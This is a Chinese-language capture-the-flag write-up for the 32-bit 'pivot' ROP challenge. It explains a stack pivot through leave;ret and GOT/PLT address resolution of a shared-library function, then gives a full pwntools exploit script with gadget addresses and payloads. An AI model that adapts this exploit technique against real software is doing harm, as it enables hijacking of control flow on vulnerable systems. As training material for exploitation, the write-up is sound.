程序概述
首先本程序是一个32位
程序,checksec后观察发现只开启了NX。
由于题目中使用了libpivot.so动态链接库,并且重要的得到flag的函数也在libpivot.so函数中,因此考虑用plt和got的映射关系,然后根据函数在.so文件中的偏移来找到cat_flag函数的地址,从而栈溢出控制程序流程。
有一个小问题在于题目中给的栈溢出的缓冲区比较小,很显然无法存下我们所需要的所有ROP链。注意到程序要求我们输入两次,第一次的输入保存在一个空间比较大的堆中(malloc)
,所以可以考虑在堆中存入shellcode,在栈中用某种方法把eip导向堆中相应位置。
具体步骤
根据逆向分析,我们知道了可以泄露的函数 foothold_function() 。根据延时绑定技术,当我们在调用如 func@plt() 的时候,系统才会将真正的 func() 函数地址写入到GOT表的 func.got.plt 中,然后 func@plt()根据 func.got.plt 跳转到真正的 func() 函数上去。
至于如何将程序控制流导向对应的堆地址中,我们需要用到leave|ret
指令。
leave
指令可以拆解为如下步骤:
mov esp, ebp
pop ebp
因此该题的栈缓冲区我们应该这样布置:
---------------------------------
buffer_padding
---------------------------------
fake_ebp
---------------------------------
leave_ret
---------------------------------
buffer_padding
显然是为了填补缓冲区,造成栈溢出。
leave_ret
指令拆解为mov esp, ebp; pop ebp; ret
之后,可以看mov
操作是可以对栈的位置进行操控的。所以我们只需要把fake_ebp
用malloc的地址减去4,这样经过pop ebp
之后,ret
的地址就刚好在我们在堆上布置的shellcode上了。
exp:
from pwn import *
p=process("./pivot32")
elf=ELF('./pivot32')
lib_elf=ELF('./libpivot32.so')
func_plt=elf.plt['foothold_function']
func_got_plt=elf.got['foothold_function']
foothold_sym=lib_elf.symbols['foothold_function']
ret2win_sym=lib_elf.symbols['ret2win']
offset=int(ret2win_sym-foothold_sym)
leave_ret=0x080486a8
mov_eax_eax=0x080488c4
pop_eax=0x080488c0
pop_ebx=0x08048571
add_eax_ebx=0x080488c7
call_eax=0x080486a3
p.recvuntil("The Old Gods kindly bestow upon you a place to pivot: ")
fake_ebp=int(p.recv(10),16)
payload1=p32(func_plt)
payload1+=p32(pop_eax)
payload1+=p32(func_got_plt)
payload1+=p32(mov_eax_eax)
payload1+=p32(pop_ebx)
payload1+=p32(offset)
payload1+=p32(add_eax_ebx)
payload1+=p32(call_eax)
p.recvuntil('> ')
p.sendline(payload1)
payload2='A'*40
payload2+=p32(fake_ebp-4)
payload2+=p32(leave_ret)
p.recvuntil('> ')
p.sendline(payload2)
p.interactive()